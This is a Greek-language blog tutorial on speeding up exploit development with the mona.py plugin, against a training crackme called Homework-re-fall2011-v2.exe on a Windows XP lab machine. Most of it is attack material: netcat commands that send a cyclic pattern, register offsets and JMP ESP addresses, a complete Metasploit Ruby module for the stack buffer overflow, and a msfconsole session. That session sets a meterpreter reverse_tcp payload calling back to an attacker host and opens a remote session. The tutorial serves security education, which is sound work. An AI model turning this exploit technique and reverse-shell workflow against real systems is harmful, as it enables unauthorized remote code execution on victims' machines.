RSS

Γράψτε exploits, εύκολα και γρήγορα!

08 Jan

Σε προηγούμενο άρθρο, ανακαλύψαμε την αδυναμία της εφαρμογής Homework-re-fall2011-v2.exe. Στη συνέχεια -εκμεταλλευόμενοι το κενό ασφαλείας- καταφέραμε να εκτελέσουμε δικό μας κώδικα στο μηχάνημα που έτρεχε την εφαρμογή και να αποκτήσουμε μη εξουσιοδοτημένη πρόσβαση.

Στο παρόν άρθρο, θα αποπειραθούμε να διευκολύνουμε τη ζωή μας στο κομμάτι του exploit developmet, αυτοματοποιώντας και επιταχύνοντας σημαντικά την όλη διαδικασία. Σε αυτή την απόπειρα, θα μας λύσει τα χέρια ένα plugin (γραμμένο σε python) για τον Immunity Debugger με την ονομασία “mona.py” απ’ την ομάδα Corelan Team.

Bήμα 1 – Προετοιμάζοντας τα εργαλεία μας.

Όπως και στο προηγούμενο άρθρο έτσι και εδώ θα χρειαστούμε :

  • Ένα μηχάνημα Windows XP SP3 (test box) στο οποίο θα γίνουν οι δοκιμές μας και το οποίο θα πρέπει να είναι εφοδιασμένο με τον Immunity Debugger και το plugin “mona.py“.
  • Ένα μηχάνημα Backtrack 5 RC1 μέσα απ’ το οποίο θα υλοποιηθεί απομακρυσμένα η επίθεση στο μηχάνημα του στόχου καθώς και θα χρησιμοποιηθούν κατά τη διάρκεια της επίθεσης ορισμένα από τα εργαλεία που περιέχει.

Αφού κάνουμε download το plugin “mona.py” θα πρέπει να το προσθέσουμε στο φάκελο με τα PyCommands του Immunity Debugger, δηλαδή στο “C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands“.

Για να σιγουρευτούμε ότι όλα έχουν γίνει σωστά, ανοίγουμε τον Immunity Debugger και (κάτω στην command bar) εισάγουμε την εντολή :

!mona

Αν εμφανιστεί κάτι σαν το menu της παρακάτω εικόνας, σημαίνει ότι το plugin “mona.py” έχει “φορτωθεί” σωστά και μποροόυμε να ξεκινήσουμε τις δοκιμές μας.

Πριν ξεκινήσουμε, θα πρέπει να ορίσουμε έναν φάκελο εργασιών (working folder) όπου μέσα εκεί θα αποθηκεύονται τα logs απ’ τις ενέργειες που εκτελούμε με το “mona.py”.

!mona config -set workingfolder C:\logs\%p

Σημείωση: Περισσότερες πληροφορίες σχετικά με το plugin “mona.py” καθώς και τις δυνατότητες του, υπάρχουν εδώ.

Bήμα 2 – Ξεκινώντας την επίθεση.

Ας μην ξεχνάμε οτι, ήδη γνωρίζουμε την αδυναμία της εφαρμογής σε επιθέσεις stack buffer overflow. Αυτό που μας ενδιαφέρει είναι να καταφέρουμε να γράψουμε πάνω στον EIP register, ο οποίος περιέχει την διεύθυνση του επόμενου προς εκτέλεση instruction. Ετσι, για αρχή δοκιμάζουμε να δημιουργήσουμε ένα pattern 1000 bytes (δηλαδή ένα σύνολο 1000 αλφαριθμητικών στοιχείων όπως ακριβώς και με το “/pentest/exploits/framework/tools/pattern_create.rb”) εκτελώντας όμως αυτή τη φορά (στην command bar του Immunity Debugger) την εντολή:

!mona pc 1000

Αφού ολοκληρωθεί η διαδικασία παραγωγής του pattern των 1000 bytes, το “mona.py” μας ενημερώνει ότι:

Ανοίγοντας λοιπόν το αρχείο “C:\logs\homework-re-fall2011-v2\pattern.txt” βλέπουμε ότι μέσα υπάρχει το pattern των 1000 bytes που δημιουργήθηκε προηγουμένως.

[....]
Pattern of 1000 bytes :
-----------------------
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Το αντιγράφουμε και δοκιμάζουμε να το στείλουμε -μέσα απ’ το terminal- στο στόχο μας εκτελώντας την εντολή:

root@bt:~# perl -e 'print "poly:teknikAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B";' | nc 192.168.178.21 1974
Welcome to SNOW
Username: ^C

Επιστρέφουμε στον Immunity Debugger και βλέπουμε ότι η εφαρμογή τελικά έχει “σκάσει”. Παρατηρούμε επίσης, ότι ο EIP register έχει γραφτεί με τα 4 bytes 64 41 36 64, έτσι δοκιμάζουμε να αντλήσουμε ότι πληροφορίες είναι διαθέσιμες. Εκτελούμε την εντολή (στην command bar του Immunity Debugger) :

!mona findmsp

Αφού ολοκληρωθεί η εκτέλεση της εντολής, μας εμφανίζει αρκετές χρήσιμες πληροφορίες σχετικά με την κατάσταση που επικρατεί αυτή τι στιγμή στους registers :

[....]
0BADF00D   [+] Examining registers
0BADF00D       EIP overwritten with normal pattern : 0x64413664 (offset 109)
0BADF00D       ESP (0x0013af14) points at offset 113 in normal pattern (length 887)
0BADF00D       EBP overwritten with normal pattern : 0x41356441 (offset 105)
[....]
  • O EIP register επεγράφηκε στα 109 bytes.
  • O ESP register βρίσκεται στα (EIP + 4 = ) 113 bytes.
  • Έχουμε 887 bytes διαθέσιμο χώρο στο stack για το shellcode μας.

Τέλος, θα πρέπει να ψάξουμε για την εντολή “JMP ESP” μέσα σε κάποιο απ’ τα DLL που έχουν φορτωθεί μαζί  με την εφαρμογή. Έτσι εκτελούμε την εντολή “!mona jmp” για τον ESP register αλλά δεν θα πρέπει να  ξεχάσουμε να εξαιρέσουμε μερικούς απ’ τους whitespace (bad) characters (“\x00″,”\x0a”,”\x0d”).

!mona jmp -r esp -cpb '\x00\x0a\x0d'


Κοιτώντας το αρχείο “C:\logs\homework-re-fall2011-v2\jmp.txt” που δημιουργήθηκε παρατηρούμε τις παρακάτω  διευθύνσεις και τα αντίστοιχα αρχεία DLL στα οποία απευθύνονται.

[....]
0x7c874413 : jmp esp |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5781 (C:\WINDOWS\system32\kernel32.dll)
0x7c91fcd8 : jmp esp |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6055 (C:\WINDOWS\system32\ntdll.dll)
0x71a91c8b : jmp esp |  {PAGE_EXECUTE_READ} [wshtcpip.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\System32\wshtcpip.dll)
0x769d210f : jmp esp |  {PAGE_EXECUTE_READ} [USERENV.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USERENV.dll)
0x769ea9a7 : jmp esp |  {PAGE_EXECUTE_READ} [USERENV.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USERENV.dll)
[....]

Εμείς, θα χρησιμοποιήσουμε για το exploit μας την διεύθυνση 0x7c874413 του kernel32.dll.

0x7c874413 : jmp esp |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5781 (C:\WINDOWS\system32\kernel32.dll)

Bήμα 3 – Κατασκευάζοντας το exploit μας.

Μέχρι στιγμής, έχουμε καταφέρει να γνωρίζουμε:

  • Στα πόσα bytes, μπορούμε να ελέγχουμε τον EIP register.
  • Πόσο διαθέσιμο χώρο έχουμε για το shellcode μας.
  • Μια διεύθυνση ώστε να εκτελέσουμε το “JMP ESP” και να προσγειωθούμε στο shellcode μας.

Αυτό που μας μένει είναι να δημιουργήσουμε ένα exploit (σε ruby αυτή τη φορα) το οποίο να είναι συμβατό με το Metasploit Framework.

Θα ζητήσουμε απ’ το “mona.py” να κατασκευάσει για εμάς έναν σκελετό για το exploit και στη συνεχεια εμείς θα κάνουμε ότι διορθώσεις κρίνουμε σκόπιμες για να λειτουργήσει σωστά. Έτσι, εισάγουμε στην command bar του Immunity Debugger την εντολή :

!mona suggest


Το τελικό μας exploit (Homework-re-fall2011.rb) μετά απο μερικές αλλαγές και προσθήκες έχει πάρει την τελική του μορφή:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking
	include Msf::Exploit::Remote::Tcp
	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'Homework-re-fall2011-v2.exe Remote Buffer Overflow',
			'Description'	=> %q{
			Homework-re-fall2011-v2.exe exploitation
			},
			'License'		=> MSF_LICENSE,
			'Author'		=>
				[
					'mr.pr0n <https://ghostinthelab.wordpress.com>',
				],
			'DefaultOptions' =>
				{
					'ExitFunction' => 'process',
				},
			'Platform'	=> 'win',
			'Payload'	=>
				{
					'BadChars' => "\x00\x0a\x0d",
					'DisableNops' => true,
				},
			'Targets'		=>
				[
					[ 'Windows XP SP3',
						{
							'Ret'   	=>	0x7C874413,
							'Offset'	=>	109
						}
					], # JMP ESP - kernel32.dll
				],
			'Privileged'	=> false,
			'DisclosureDate'	=> 'JAN 06 2012',
			'DefaultTarget'	=> 0))
		register_options([Opt::RPORT(1974)], self.class)

	end

	def exploit
		connect

		buffer = "poly:teknik" # username:password
		buffer <<  rand_text(target['Offset'])
		buffer << [target.ret].pack('V')
		buffer << make_nops(30)
		buffer << payload.encoded

		print_status("Trying target #{target.name}...")
		sock.put(buffer + "\r\n")

		handler
		disconnect

	end
end

Στη συνέχεια, δοκιμάζουμε να δημιουργήσουμε ένα αρχείο με την ονομασία “Homework-re-fall2011.rb” στον κατάλογο “/pentest/exploits/framework/modules/exploits/windows/misc

root@bt:~# cd /pentest/exploits/framework/modules/exploits/windows/misc
root@bt:/pentest/exploits/framework/modules/exploits/windows/misc# gedit Homework-re-fall2011.rb

Tέλος, φορτώνουμε το exploit μέσα απ’ το Metasploit Framework και να το εκτελούμε:

root@bt:/pentest/exploits/framework/modules/exploits/windows/misc# msfconsole

     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||

       =[ metasploit v4.2.0-dev [core:4.2 api:1.0]
+ -- --=[ 785 exploits - 418 auxiliary - 126 post
+ -- --=[ 238 payloads - 27 encoders - 8 nops
       =[ svn r14508 updated today (2012.01.06)

msf > use exploit/windows/misc/Homework-re-fall2011
msf  exploit(Homework-re-fall2011) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(Homework-re-fall2011) > set LHOST 192.168.178.25
LHOST => 192.168.178.25
msf  exploit(Homework-re-fall2011) > set RHOST 192.168.178.21
RHOST => 192.168.178.21
msf  exploit(Homework-re-fall2011) > exploit

[*] Started reverse handler on 192.168.178.25:4444
[*] Trying target Windows XP SP3...
[*] Sending stage (752128 bytes) to 192.168.178.21
[*] Meterpreter session 1 opened (192.168.178.25:4444 -> 192.168.178.21:1171) at 2012-01-06 19:22:23 +0200

meterpreter > sysinfo
Computer        : WINXPSP3
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : el_GR
Meterpreter     : x86/win32
meterpreter >

 
Leave a comment

Posted by on January 8, 2012 in It's Greek to Me

 

Tags: , , , , , , , ,

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

 
%d bloggers like this: